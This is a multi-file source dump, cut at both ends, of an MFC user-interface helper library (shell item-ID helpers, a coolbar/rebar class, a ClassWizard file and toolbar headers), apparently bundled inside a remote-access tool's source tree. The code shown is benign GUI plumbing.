cbTotal += sizeof(pidl->mkid.cb); // Null terminator
while (pidl->mkid.cb)
{
cbTotal += pidl->mkid.cb;
pidl = Next(pidl);
}
}
return cbTotal;
}
/****************************************************************************
*
* FUNCTION: CreatePidl(UINT cbSize)
*
* PURPOSE: Allocates a PIDL
*
****************************************************************************/
LPITEMIDLIST CShellPidl::CreatePidl(UINT cbSize)
{
LPMALLOC lpMalloc;
HRESULT hr;
LPITEMIDLIST pidl=NULL;
hr=SHGetMalloc(&lpMalloc);
if (FAILED(hr))
return 0;
pidl=(LPITEMIDLIST)lpMalloc->Alloc(cbSize);
if (pidl)
memset(pidl, 0, cbSize); // zero-init for external task alloc
if (lpMalloc) lpMalloc->Release();
return pidl;
}
/****************************************************************************
*
* FUNCTION: ConcatPidls(LPCITEMIDLIST pidl1, LPCITEMIDLIST pidl2)
*
* PURPOSE: Concatenates two PIDLs
*
****************************************************************************/
LPITEMIDLIST CShellPidl::ConcatPidls(LPCITEMIDLIST pidl1, LPCITEMIDLIST pidl2)
{
LPITEMIDLIST pidlNew;
UINT cb1;
UINT cb2;
if (pidl1) //May be NULL
cb1 = GetSize(pidl1) - sizeof(pidl1->mkid.cb);
else
cb1 = 0;
cb2 = GetSize(pidl2);
pidlNew = CreatePidl(cb1 + cb2);
if (pidlNew)
{
if (pidl1)
memcpy(pidlNew, pidl1, cb1);
memcpy(((LPSTR)pidlNew) + cb1, pidl2, cb2);
}
return pidlNew;
}
/****************************************************************************
*
* FUNCTION: CopyITEMID(LPMALLOC lpMalloc, LPITEMIDLIST lpi)
*
* PURPOSE: Copies the ITEMID
*
****************************************************************************/
LPITEMIDLIST CShellPidl::CopyITEMID(LPMALLOC lpMalloc, LPITEMIDLIST lpi)
{
LPITEMIDLIST lpiTemp;
lpiTemp=(LPITEMIDLIST)lpMalloc->Alloc(lpi->mkid.cb+sizeof(lpi->mkid.cb));
CopyMemory((PVOID)lpiTemp, (CONST VOID *)lpi, lpi->mkid.cb+sizeof(lpi->mkid.cb));
return lpiTemp;
}
/****************************************************************************
*
* FUNCTION: GetName(LPSHELLFOLDER lpsf,LPITEMIDLIST lpi,DWORD dwFlags,
* LPSTR lpFriendlyName)
*
* PURPOSE: Gets the friendly name for the folder
*
****************************************************************************/
BOOL CShellPidl::GetName(LPSHELLFOLDER lpsf,
LPITEMIDLIST lpi,
DWORD dwFlags,
LPSTR lpFriendlyName)
{
BOOL bSuccess=TRUE;
STRRET str;
if (NOERROR==lpsf->GetDisplayNameOf(lpi,dwFlags, &str))
{
switch (str.uType)
{
case STRRET_WSTR:
WideCharToMultiByte(CP_ACP, // CodePage
0, // dwFlags
str.pOleStr, // lpWideCharStr
-1, // cchWideChar
lpFriendlyName, // lpMultiByteStr
MAX_PATH,
//sizeof(lpFriendlyName), // cchMultiByte, wrong. sizeof on a pointer, psk, psk
NULL, // lpDefaultChar,
NULL); // lpUsedDefaultChar
break;
case STRRET_OFFSET:
_tcscpy(lpFriendlyName, (LPSTR)lpi+str.uOffset);
break;
case STRRET_CSTR:
_tcscpy(lpFriendlyName, (LPSTR)str.cStr);
break;
default:
bSuccess = FALSE;
break;
}
}
else
bSuccess = FALSE;
return bSuccess;
}
/****************************************************************************
*
* FUNCTION: GetFullyQualPidl(LPSHELLFOLDER lpsf, LPITEMIDLIST lpi)
*
* PURPOSE: Gets the Fully qualified Pidls for the folder
*
****************************************************************************/
LPITEMIDLIST CShellPidl::GetFullyQualPidl(LPSHELLFOLDER lpsf, LPITEMIDLIST lpi)
{
char szBuff[MAX_PATH];
OLECHAR szOleChar[MAX_PATH];
LPSHELLFOLDER lpsfDeskTop;
LPITEMIDLIST lpifq;
ULONG ulEaten, ulAttribs;
HRESULT hr;
if (!GetName(lpsf, lpi, SHGDN_FORPARSING, szBuff))
return NULL;
hr=SHGetDesktopFolder(&lpsfDeskTop);
if (FAILED(hr))
return NULL;
MultiByteToWideChar(CP_ACP,
MB_PRECOMPOSED,
szBuff,
-1,
(USHORT *)szOleChar,
sizeof(szOleChar));
hr=lpsfDeskTop->ParseDisplayName(NULL,
NULL,
szOleChar,
&ulEaten,
&lpifq,
&ulAttribs);
lpsfDeskTop->Release();
if (FAILED(hr))
return NULL;
return lpifq;
}
/****************************************************************************
*
* FUNCTION: DoTheMenuThing(HWND hwnd,
* LPSHELLFOLDER lpsfParent,
* LPITEMIDLIST lpi,
* LPPOINT lppt)
*
* PURPOSE: Displays a popup context menu, given a parent shell folder,
* relative item id and screen location.
*
* PARAMETERS:
* hwnd - Parent window handle
* lpsfParent - Pointer to parent shell folder.
* lpi - Pointer to item id that is relative to lpsfParent
* lppt - Screen location of where to popup the menu.
*
* RETURN VALUE:
* Returns TRUE on success, FALSE on failure
*
****************************************************************************/
BOOL CShellPidl::DoTheMenuThing(HWND hwnd, LPSHELLFOLDER lpsfParent,
LPITEMIDLIST lpi, LPPOINT lppt)
{
LPCONTEXTMENU lpcm;
HRESULT hr;
char szTemp[64];
CMINVOKECOMMANDINFO cmi;
DWORD dwAttribs=0;
int idCmd;
HMENU hMenu;
BOOL bSuccess=TRUE;
hr=lpsfParent->GetUIObjectOf(hwnd,
1, //Number of objects to get attributes of
(const struct _ITEMIDLIST **)&lpi,
IID_IContextMenu,
0,
(LPVOID *)&lpcm);
if (SUCCEEDED(hr))
{
hMenu = CreatePopupMenu();
if (hMenu)
{
hr=lpcm->QueryContextMenu(hMenu, 0, 1, 0x7fff, CMF_EXPLORE);
if (SUCCEEDED(hr))
{
idCmd=TrackPopupMenu(hMenu,
TPM_LEFTALIGN | TPM_RETURNCMD | TPM_RIGHTBUTTON,
lppt->x, lppt->y, 0, hwnd, NULL);
if (idCmd)
{
cmi.cbSize = sizeof(CMINVOKECOMMANDINFO);
cmi.fMask = 0;
cmi.hwnd = hwnd;
cmi.lpVerb = MAKEINTRESOURCE(idCmd-1);
cmi.lpParameters = NULL;
cmi.lpDirectory = NULL;
cmi.nShow = SW_SHOWNORMAL;
cmi.dwHotKey = 0;
cmi.hIcon = NULL;
hr=lpcm->InvokeCommand(&cmi);
if (!SUCCEEDED(hr))
{
wsprintf(szTemp, _T("InvokeCommand failed. hr=%lx"), hr);
AfxMessageBox(szTemp);
}
}
}
else
bSuccess = FALSE;
DestroyMenu(hMenu);
}
else
bSuccess = FALSE;
lpcm->Release();
}
else
{
wsprintf(szTemp, _T("GetUIObjectOf failed! hr=%lx"), hr);
AfxMessageBox(szTemp );
bSuccess = FALSE;
}
return bSuccess;
}
/****************************************************************************
*
* FUNCTION: GetIcon(LPITEMIDLIST lpi, UINT uFlags)
*
* PURPOSE: Gets the index for the current icon. Index is index into system
* image list.
*
* PARAMETERS:
* lpi - Fully qualified item id list for current item.
* uFlags - Flags for SHGetFileInfo()
*
* RETURN VALUE:
* Icon index for current item.
****************************************************************************/
int CShellPidl::GetItemIcon(LPITEMIDLIST lpi, UINT uFlags)
{
SHFILEINFO sfi;
SHGetFileInfo((LPCSTR)lpi,
0,
&sfi,
sizeof(SHFILEINFO),
uFlags);
return sfi.iIcon;
}
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/ShellPidl.cpp | C++ | asf20 | 9,865 |
////////////////////////////////////////////////////////////////
// Copyright 1998 Paul DiLascia
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
// CCoolBar implements coolbars for MFC.
//
#include "StdAfx.h"
#include "CoolBar.h"
#include "ModulVer.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
// if you want to see extra TRACE diagnostics, set below to TRUE
BOOL CCoolBar::bTRACE = FALSE;
#ifdef _DEBUG
#define CBTRACEFN \
CTraceFn __fooble; \
if (bTRACE) \
TRACE
#define CBTRACE \
if (bTRACE) \
TRACE
#else
#define CBTRACEFN TRACE
#define CBTRACE TRACE
#endif
IMPLEMENT_DYNAMIC(CCoolBar, CControlBar)
BEGIN_MESSAGE_MAP(CCoolBar, CControlBar)
//{{AFX_MSG_MAP(CCoolBar)
ON_WM_CREATE()
ON_WM_PAINT()
ON_WM_ERASEBKGND()
ON_NOTIFY_REFLECT(RBN_HEIGHTCHANGE, OnHeightChange)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
CCoolBar::CCoolBar()
{
}
CCoolBar::~CCoolBar()
{
}
//////////////////
// Create coolbar
//
BOOL CCoolBar::Create(CWnd* pParentWnd, DWORD dwStyle,
DWORD dwAfxBarStyle, UINT nID)
{
ASSERT_VALID(pParentWnd); // must have a parent
// dynamic coolbar not supported
dwStyle &= ~CBRS_SIZE_DYNAMIC;
// save the style (this code copied from MFC--probably unecessary)
m_dwStyle = dwAfxBarStyle;
if (nID == AFX_IDW_TOOLBAR)
m_dwStyle |= CBRS_HIDE_INPLACE;
// MFC requires these:
dwStyle |= CCS_NODIVIDER|CCS_NOPARENTALIGN;
// initialize cool common controls
static BOOL bInit = FALSE;
if (!bInit) {
HMODULE h = ::GetModuleHandle(_T("ComCtl32"));
ASSERT(h);
typedef BOOL (CALLBACK* INITCC)(INITCOMMONCONTROLSEX*);
INITCC pfn = (INITCC)GetProcAddress(h, _T("InitCommonControlsEx"));
if (pfn) {
INITCOMMONCONTROLSEX sex;
sex.dwSize = sizeof(INITCOMMONCONTROLSEX);
sex.dwICC = ICC_COOL_CLASSES;
(*pfn)(&sex);
}
bInit = TRUE;
}
// Finally create the cool bar using given style and parent.
CRect rc;
rc.SetRectEmpty();
return CWnd::CreateEx(WS_EX_TOOLWINDOW, REBARCLASSNAME, NULL,
dwStyle, rc, pParentWnd, nID);
}
//////////////////
// Invalidate coolbar: invalidate children too
//
void CCoolBar::Invalidate(BOOL bErase)
{
HWND hWndChild = ::GetWindow(m_hWnd, GW_CHILD);
while (hWndChild != NULL) {
::InvalidateRect(hWndChild, NULL, bErase);
hWndChild = ::GetNextWindow(hWndChild, GW_HWNDNEXT);
}
CControlBar::Invalidate(bErase);
}
//////////////////
// Set the background bitmap. This sets the background for all bands and
// sets the RBBS_FIXEDBMP style so it looks like one background.
//
void CCoolBar::SetBackgroundBitmap(CBitmap* pBitmap)
{
HBITMAP hbm = (HBITMAP)pBitmap->GetSafeHandle();
CRebarBandInfo rbbi;
int n = GetBandCount();
for (int i=0; i< n; i++) {
rbbi.fMask = RBBIM_STYLE;
GetBandInfo(i, &rbbi);
rbbi.fMask |= RBBIM_BACKGROUND;
rbbi.fStyle |= RBBS_FIXEDBMP;
rbbi.hbmBack = hbm;
SetBandInfo(i, &rbbi);
}
}
//////////////////
// Set background/foreground colors for all bands
//
void CCoolBar::SetColors(COLORREF clrFG, COLORREF clrBG)
{
CRebarBandInfo rbbi;
rbbi.fMask = RBBIM_COLORS;
rbbi.clrFore = clrFG;
rbbi.clrBack = clrBG;
int n = GetBandCount();
for (int i=0; i< n; i++)
SetBandInfo(i, &rbbi);
}
//////////////////
// Insert band. This overloaded version lets you create a child window band.
//
BOOL CCoolBar::InsertBand(CWnd* pWnd, CSize szMin, int cx,
LPCTSTR lpText, int iPos, BOOL bNewRow)
{
CRebarBandInfo rbbi;
rbbi.fMask = RBBIM_CHILD|RBBIM_CHILDSIZE|RBBIM_TEXT;
if (cx>0) {
rbbi.fMask |= RBBIM_SIZE;
rbbi.cx = cx;
}
if (bNewRow) {
rbbi.fMask |= RBBIM_STYLE;
rbbi.fStyle |= RBBS_BREAK;
}
rbbi.hwndChild = pWnd->GetSafeHwnd();
rbbi.cxMinChild = szMin.cx;
rbbi.cyMinChild = szMin.cy;
rbbi.lpText = (LPTSTR)lpText;
return InsertBand(iPos, &rbbi);
}
//////////////////
// Handle WM_CREATE: call virtual fn so derived class can create bands.
//
int CCoolBar::OnCreate(LPCREATESTRUCT lpcs)
{
return (CControlBar::OnCreate(lpcs)==-1 || !OnCreateBands()) ? -1 : 0;
}
//////////////////
// Standard UI handler updates any controls in the coolbar.
//
void CCoolBar::OnUpdateCmdUI(CFrameWnd* pTarget, BOOL bDisableIfNoHndler)
{
UpdateDialogControls(pTarget, bDisableIfNoHndler);
}
/////////////////
// These two functions are called by MFC to calculate the layout of
// the main frame. Since CCoolBar is not designed to be dynamic, the
// size is always fixed, and the same as the window size.
//
CSize CCoolBar::CalcDynamicLayout(int nLength, DWORD dwMode)
{
return CalcFixedLayout(dwMode & LM_STRETCH, dwMode & LM_HORZ);
}
CSize CCoolBar::CalcFixedLayout(BOOL bStretch, BOOL bHorz)
{
CRect rc;
GetWindowRect(&rc);
CSize sz(bHorz && bStretch ? 0x7FFF : rc.Width(),
!bHorz && bStretch ? 0x7FFF : rc.Height());
return sz;
}
//////////////////
// Handle RBN_HEIGHTCHANGE notification: pass to virtual fn w/nicer args.
//
void CCoolBar::OnHeightChange(NMHDR* pNMHDR, LRESULT* pRes)
{
CRect rc;
GetWindowRect(&rc);
OnHeightChange(rc);
*pRes = 0; // why not?
}
//////////////////
// Height changed: Default implementation does the right thing for MFC
// doc/view: notify parent frame by posting a WM_SIZE message. This will
// cause the frame to do RecalcLayout. The message must be posted, not sent,
// because the coolbar could send RBN_HEIGHTCHANGE while the user is sizing,
// which would be in the middle of a CFrame::RecalcLayout, and RecalcLayout
// doesn't let you re-enter it. Posting guarantees that CFrameWnd can finish
// any recalc it may be in the middle of *before* handling my posted WM_SIZE.
// Very confusing, but that's MFC for you.
//
void CCoolBar::OnHeightChange(const CRect& rcNew)
{
CWnd* pParent = GetParent();
CRect rc;
pParent->GetWindowRect(&rc);
pParent->PostMessage(WM_SIZE, 0, MAKELONG(rc.Width(),rc.Height()));
}
void CCoolBar::OnPaint()
{
Default(); // bypass CControlBar
}
BOOL CCoolBar::OnEraseBkgnd(CDC* pDC)
{
return (BOOL)Default(); // bypass CControlBar
}
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/CoolBar.cpp | C++ | asf20 | 6,219 |
; CLW file contains information for the MFC ClassWizard
[General Info]
Version=1
LastClass=CCJTabCtrlBar
LastTemplate=CDialog
NewFileInclude1=#include "stdafx.h"
NewFileInclude2=#include "cj60lib.h"
LastPage=0
ClassCount=21
Class1=CCJCaption
Class2=CCJControlBar
Class3=CCJDockBar
Class4=CCJExplorerBar
Class5=CCJFlatButton
Class6=CCJFlatComboBox
Class7=CCJFlatHeaderCtrl
Class8=CCJFrameWnd
Class9=CCJListCtrl
Class10=CCJListView
Class11=CCJMDIFrameWnd
Class12=CCJMiniDockFrameWnd
Class13=CCJOutlookBar
Class14=CCJPagerCtrl
Class15=CCJSearchEdit
Class16=CCJSizeDockBar
Class17=CCJTabCtrl
Class18=CCJTabCtrlBar
Class19=CCJToolBar
Class20=CHyperLink
Class21=CShellTree
ResourceCount=0
[CLS:CCJCaption]
Type=0
BaseClass=CStatic
HeaderFile=\Src\Include\CJCaption.h
ImplementationFile=CJCaption.cpp
LastObject=CCJCaption
[CLS:CCJControlBar]
Type=0
BaseClass=CControlBar
HeaderFile=\Src\Include\CJControlBar.h
ImplementationFile=CJControlBar.cpp
LastObject=CCJControlBar
Filter=W
VirtualFilter=WC
[CLS:CCJDockBar]
Type=0
BaseClass=CDockBar
HeaderFile=\Src\Include\CJDockBar.h
ImplementationFile=CJDockBar.cpp
[CLS:CCJExplorerBar]
Type=0
BaseClass=CCJControlBar
HeaderFile=\Src\Include\CJExplorerBar.h
ImplementationFile=CJExplorerBar.cpp
Filter=W
VirtualFilter=WC
LastObject=CCJExplorerBar
[CLS:CCJFlatButton]
Type=0
BaseClass=CButton
HeaderFile=\Src\Include\CJFlatButton.h
ImplementationFile=CJFlatButton.cpp
[CLS:CCJFlatComboBox]
Type=0
BaseClass=CComboBox
HeaderFile=\Src\Include\CJFlatComboBox.h
ImplementationFile=CJFlatComboBox.cpp
[CLS:CCJFlatHeaderCtrl]
Type=0
BaseClass=CHeaderCtrl
HeaderFile=\Src\Include\CJFlatHeaderCtrl.h
ImplementationFile=CJFlatHeaderCtrl.cpp
[CLS:CCJFrameWnd]
Type=0
BaseClass=CFrameWnd
HeaderFile=\Src\Include\CJFrameWnd.h
ImplementationFile=CJFrameWnd.cpp
Filter=T
VirtualFilter=fWC
[CLS:CCJListCtrl]
Type=0
BaseClass=CListCtrl
HeaderFile=\Src\Include\CJListCtrl.h
ImplementationFile=CJListCtrl.cpp
LastObject=CCJListCtrl
[CLS:CCJListView]
Type=0
BaseClass=CListView
HeaderFile=\Src\Include\CJListView.h
ImplementationFile=CJListView.cpp
LastObject=CCJListView
Filter=C
VirtualFilter=VWC
[CLS:CCJMDIFrameWnd]
Type=0
BaseClass=CMDIFrameWnd
HeaderFile=\Src\Include\CJMDIFrameWnd.h
ImplementationFile=CJMDIFrameWnd.cpp
[CLS:CCJMiniDockFrameWnd]
Type=0
BaseClass=CMiniDockFrameWnd
HeaderFile=\Src\Include\CJMiniDockFrameWnd.h
ImplementationFile=CJMiniDockFrameWnd.cpp
[CLS:CCJOutlookBar]
Type=0
BaseClass=CListBox
HeaderFile=\Src\Include\CJOutlookBar.h
ImplementationFile=CJOutlookBar.cpp
LastObject=CCJOutlookBar
Filter=W
VirtualFilter=bWC
[CLS:CCJPagerCtrl]
Type=0
BaseClass=CWnd
HeaderFile=\Src\Include\CJPagerCtrl.h
ImplementationFile=CJPagerCtrl.cpp
[CLS:CCJSearchEdit]
Type=0
BaseClass=CEdit
HeaderFile=\Src\Include\CJSearchEdit.h
ImplementationFile=CJSearchEdit.cpp
[CLS:CCJSizeDockBar]
Type=0
BaseClass=CDockBar
HeaderFile=\Src\Include\CJSizeDockBar.h
ImplementationFile=CJSizeDockBar.cpp
Filter=W
LastObject=CCJSizeDockBar
VirtualFilter=DC
[CLS:CCJTabCtrl]
Type=0
BaseClass=CTabCtrl
HeaderFile=CJTabctrlBar.cpp
ImplementationFile=CJTabctrlBar.cpp
[CLS:CCJTabCtrlBar]
Type=0
BaseClass=CCJControlBar
HeaderFile=\Src\Include\CJTabCtrlBar.h
ImplementationFile=CJTabctrlBar.cpp
Filter=W
VirtualFilter=WC
LastObject=CCJTabCtrlBar
[CLS:CCJToolBar]
Type=0
BaseClass=CFlatToolBar
HeaderFile=\Src\Include\CJToolBar.h
ImplementationFile=CJToolBar.cpp
[CLS:CHyperLink]
Type=0
BaseClass=CStatic
HeaderFile=\Src\Include\hyperlink.h
ImplementationFile=hyperlink.cpp
[CLS:CShellTree]
Type=0
BaseClass=CTreeCtrl
HeaderFile=\Src\Include\ShellTree.h
ImplementationFile=ShellTree.cpp
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/CJ60Lib.clw | Clarion | asf20 | 3,805 |
////////////////////////////////////////////////////////////////
// Copyright 1998 Paul DiLascia
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
#ifndef __COOLBAR_H
#define __COOLBAR_H
//////////////////
// CCoolBar encapsulates IE common coolbar (rebar) for MFC. To use it,
//
// * derive your own CMyCoolBar from CCoolBar
// * implement OnCreateBands to create whatever bands you want
// * instantiate CMyCoolBar in your frame window as you would a toolbar
// * create and load it, etc from CMainFrame::OnCreate
//
// See MBTest for example of how to use.
//
class AFX_EXT_CLASS CCoolBar : public CControlBar {
public:
CCoolBar();
virtual ~CCoolBar();
BOOL Create(CWnd* pParentWnd, DWORD dwStyle,
DWORD dwAfxBarStyle = CBRS_ALIGN_TOP,
UINT nID = AFX_IDW_TOOLBAR);
// message wrappers
BOOL GetBarInfo(LPREBARINFO lp)
{ ASSERT(::IsWindow(m_hWnd));
return (BOOL)SendMessage(RB_GETBARINFO, 0, (LPARAM)lp); }
BOOL SetBarInfo(LPREBARINFO lp)
{ ASSERT(::IsWindow(m_hWnd));
return (BOOL)SendMessage(RB_SETBARINFO, 0, (LPARAM)lp); }
BOOL GetBandInfo(int iBand, LPREBARBANDINFO lp)
{ ASSERT(::IsWindow(m_hWnd));
return (BOOL)SendMessage(RB_GETBANDINFO, iBand, (LPARAM)lp); }
BOOL SetBandInfo(int iBand, LPREBARBANDINFO lp)
{ ASSERT(::IsWindow(m_hWnd));
return (BOOL)SendMessage(RB_SETBANDINFO, iBand, (LPARAM)lp); }
BOOL InsertBand(int iWhere, LPREBARBANDINFO lp)
{ ASSERT(::IsWindow(m_hWnd));
return (BOOL)SendMessage(RB_INSERTBAND, (WPARAM)iWhere, (LPARAM)lp); }
BOOL DeleteBand(int nWhich)
{ ASSERT(::IsWindow(m_hWnd));
return (BOOL)SendMessage(RB_DELETEBAND, (WPARAM)nWhich); }
int GetBandCount()
{ ASSERT(::IsWindow(m_hWnd));
return (int)SendMessage(RB_GETBANDCOUNT); }
int GetRowCount()
{ ASSERT(::IsWindow(m_hWnd));
return (int)SendMessage(RB_GETROWCOUNT); }
int GetRowHeight(int nWhich)
{ ASSERT(::IsWindow(m_hWnd));
return (int)SendMessage(RB_GETROWHEIGHT, (WPARAM)nWhich); }
// Call these handy functions from your OnCreateBands to do stuff
// more easily than the Windows way.
//
BOOL InsertBand(CWnd* pWnd, CSize szMin, int cx = 0,
LPCTSTR lpText=NULL, int iWhere=-1, BOOL bNewRow =FALSE);
void SetColors(COLORREF clrFG, COLORREF clrBG);
void SetBackgroundBitmap(CBitmap* pBitmap);
void Invalidate(BOOL bErase = TRUE); // invalidates children too
static BOOL bTRACE; // Set TRUE to see extra diagnostics in DEBUG code
protected:
// YOU MUST OVERRIDE THIS in your derived class to create bands.
virtual BOOL OnCreateBands() = 0; // return -1 if failed
// Virtual fn called when the coolbar height changes as a result of moving
// bands around. Override only if you want to do something different.
virtual void OnHeightChange(const CRect& rcNew);
// overrides to fix problems w/MFC. No need to override yourself.
virtual CSize CalcFixedLayout(BOOL bStretch, BOOL bHorz);
virtual CSize CalcDynamicLayout(int nLength, DWORD nMode);
virtual void OnUpdateCmdUI(CFrameWnd* pTarget, BOOL bDisableIfNoHndler);
// message handlers
afx_msg int OnCreate(LPCREATESTRUCT lpcs);
afx_msg void OnPaint();
afx_msg void OnHeightChange(NMHDR* pNMHDR, LRESULT* pRes);
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
DECLARE_MESSAGE_MAP()
DECLARE_DYNAMIC(CCoolBar)
};
//////////////////
// Programmer-friendly REBARINFO initializes itself.
//
class AFX_EXT_CLASS CRebarInfo : public REBARINFO {
public:
CRebarInfo() {
memset(this, 0, sizeof(REBARINFO));
cbSize = sizeof(REBARINFO);
}
};
//////////////////
// Programmer-friendly REBARBANDINFO initializes itself.
//
class AFX_EXT_CLASS CRebarBandInfo : public REBARBANDINFO {
public:
CRebarBandInfo() {
memset(this, 0, sizeof(REBARBANDINFO));
cbSize = sizeof(REBARBANDINFO);
}
};
#endif
| 07321-rat | trunk/gh0st/CJ60Lib/Include/CoolBar.h | C++ | asf20 | 3,918 |
////////////////////////////////////////////////////////////////
// 1998 Microsoft Systems Journal
//
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
#ifndef __MODULEVER_H
#define __MODULEVER_H
#undef _INC_SHLWAPI
#undef NOSHLWAPI
//#include <shlwapi.h>
// tell linker to link with version.lib for VerQueryValue, etc.
#pragma comment(linker, "/defaultlib:version.lib")
#ifndef DLLVER_PLATFORM_WINDOWS
#error ModuleVer.h requires a newer version of the SDK than you have!
#error Please update your SDK files.
#endif
//////////////////
// This class loads a library. Destructor frees for automatic cleanup.
//
class AFX_EXT_CLASS CLoadLibrary {
private:
HINSTANCE m_hinst;
public:
CLoadLibrary(LPCTSTR lpszName) : m_hinst(LoadLibrary(lpszName)) { }
~CLoadLibrary() { FreeLibrary(m_hinst); }
operator HINSTANCE () { return m_hinst; } // cast operator
};
//////////////////
// CModuleVersion version info about a module.
// To use:
//
// CModuleVersion ver
// if (ver.GetFileVersionInfo("_T("mymodule))) {
// // info is in ver, you can call GetValue to get variable info like
// CString s = ver.GetValue(_T("CompanyName"));
// }
//
// You can also call the static fn DllGetVersion to get DLLVERSIONINFO.
//
class AFX_EXT_CLASS CModuleVersion : public VS_FIXEDFILEINFO {
protected:
BYTE* m_pVersionInfo; // all version info
struct TRANSLATION {
WORD langID; // language ID
WORD charset; // character set (code page)
} m_translation;
public:
CModuleVersion();
virtual ~CModuleVersion();
BOOL GetFileVersionInfo(LPCTSTR modulename);
CString GetValue(LPCTSTR lpKeyName);
static BOOL DllGetVersion(LPCTSTR modulename, DLLVERSIONINFO& dvi);
};
#endif
| 07321-rat | trunk/gh0st/CJ60Lib/Include/ModulVer.h | C++ | asf20 | 1,789 |
////////////////////////////////////////////////////////////////
// Copyright 1998 Paul DiLascia
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
#ifndef __FLATBAR_H
#define __FLATBAR_H
#ifndef TB_SETEXTENDEDSTYLE
#error FlatBar.h requires a newer version of the SDK than you have!
#error Please update your SDK files.
#endif
#include "FixTB.h"
// fwd ref
struct DROPDOWNBUTTON;
#define CFlatToolBarBase CFixMFCToolBar
//////////////////
// CFlatToolbar is a drop-in replacement for CToolBar that supports
// flat-style buttons and gripper handles. Use instead of CToolBar in your
// CMainFrame. CFlatTooBar's don'tK actually have to have the flat style,
// but they do by default. If you don't want the flat look, you can call
// ModifyStyle(TBSTYLE_FLAT, 0);
//
// CFlatToolBar overcomes various MFC drawing bugs that cause it not to work
// with flat-style buttons. CFlatToolBar Can also used inside a coolbar
// (unlike CToolBar).
//
// CFlatToolBar has other good stuff too, like an easy way to handle drop-down
// buttons--See MBTest for example how to use.
//
class AFX_EXT_CLASS CFlatToolBar : public CFlatToolBarBase {
public:
CFlatToolBar();
virtual ~CFlatToolBar();
static BOOL bTRACE; // to see TRACE diagnostics
// set these before creation:
BOOL m_bDrawDisabledButtonsInColor; // draw disabled buttons in color
BOOL m_bInCoolBar; // set if flatbar is inside coolbar
// You must call one of these to get the flat look; if not, you must
// set TBSTYLE_FLAT yourself.
BOOL LoadToolBar(LPCTSTR lpszResourceName);
BOOL LoadToolBar(UINT nIDResource)
{ return LoadToolBar(MAKEINTRESOURCE(nIDResource)); }
// call to add drop-down buttons
BOOL AddDropDownButton(UINT nIDButton, UINT nIDMenu, BOOL bArrow);
// Use these to get/set the flat style. By default, LoadToolBar calls
// SetFlatStyle(TRUE); if you create some other way, you must call it
// yourself.
BOOL SetFlatStyle(BOOL bFlat) {
return ModifyStyle(bFlat ? 0 : TBSTYLE_FLAT, bFlat ? TBSTYLE_FLAT : 0);
}
BOOL GetFlatStyle() {
return (GetStyle() & TBSTYLE_FLAT)!=0;
}
// silly function to fake out compiler with const-ness
LRESULT SendMessageC(UINT m, WPARAM wp=0, LPARAM lp=0) const
{ return ((CFixMFCToolBar*)this)->SendMessage(m, wp, lp); }
// Wrappers that are not in MFC but should be;
// I copied these from CToolBarCtrl
BOOL EnableButton(int nID, BOOL bEnable)
{ return SendMessage(TB_ENABLEBUTTON, nID, MAKELPARAM(bEnable, 0)); }
BOOL CheckButton(int nID, BOOL bCheck)
{ return SendMessage(TB_CHECKBUTTON, nID, MAKELPARAM(bCheck, 0)); }
BOOL PressButton(int nID, BOOL bPress)
{ return SendMessage(TB_PRESSBUTTON, nID, MAKELPARAM(bPress, 0)); }
BOOL HideButton(int nID, BOOL bHide)
{ return SendMessage(TB_HIDEBUTTON, nID, MAKELPARAM(bHide, 0)); }
BOOL Indeterminate(int nID, BOOL bIndeterminate)
{ return SendMessage(TB_INDETERMINATE, nID, MAKELPARAM(bIndeterminate, 0)); }
BOOL IsButtonEnabled(int nID) const
{ return SendMessageC(TB_ISBUTTONENABLED, nID); }
BOOL IsButtonChecked(int nID) const
{ return SendMessageC(TB_ISBUTTONCHECKED, nID); }
BOOL IsButtonPressed(int nID) const
{ return SendMessageC(TB_ISBUTTONPRESSED, nID); }
BOOL IsButtonHidden(int nID) const
{ return SendMessageC(TB_ISBUTTONHIDDEN, nID); }
BOOL IsButtonIndeterminate(int nID) const
{ return SendMessageC(TB_ISBUTTONINDETERMINATE, nID); }
BOOL SetState(int nID, UINT nState)
{ return SendMessage(TB_SETSTATE, nID, MAKELPARAM(nState, 0)); }
int GetState(int nID) const
{ return SendMessageC(TB_GETSTATE, nID); }
BOOL AddButtons(int nNumButtons, LPTBBUTTON lpButtons)
{ return SendMessage(TB_ADDBUTTONS, nNumButtons, (LPARAM)lpButtons); }
BOOL InsertButton(int nIndex, LPTBBUTTON lpButton)
{ return SendMessage(TB_INSERTBUTTON, nIndex, (LPARAM)lpButton); }
BOOL DeleteButton(int nIndex)
{ return SendMessage(TB_DELETEBUTTON, nIndex); }
int GetButtonCount() const
{ return SendMessageC(TB_BUTTONCOUNT); }
UINT CommandToIndex(UINT nID) const
{ return SendMessageC(TB_COMMANDTOINDEX, nID); }
void Customize()
{ SendMessage(TB_CUSTOMIZE, 0, 0L); }
int AddStrings(LPCTSTR lpszStrings)
{ return SendMessage(TB_ADDSTRING, 0, (LPARAM)lpszStrings); }
void SetButtonStructSize(int nSize)
{ SendMessage(TB_BUTTONSTRUCTSIZE, nSize); }
BOOL SetButtonSize(CSize sz)
{ return SendMessage(TB_SETBUTTONSIZE, 0, MAKELPARAM(sz.cx, sz.cy)); }
BOOL SetBitmapSize(CSize sz)
{ return SendMessage(TB_SETBITMAPSIZE, 0, MAKELPARAM(sz.cx, sz.cy)); }
void AutoSize()
{ SendMessage(TB_AUTOSIZE); }
CToolTipCtrl* GetToolTips() const
{ return (CToolTipCtrl*)CWnd::FromHandle((HWND)SendMessageC(TB_GETTOOLTIPS)); }
void SetToolTips(CToolTipCtrl* pTip)
{ SendMessage(TB_SETTOOLTIPS, (WPARAM)pTip->m_hWnd); }
// NO!!!--this is not the same as the MFC owner
// void SetOwner(CWnd* pWnd)
// { SendMessage(TB_SETPARENT, (WPARAM)pWnd->m_hWnd); }
void SetRows(int nRows, BOOL bLarger, LPRECT lpRect)
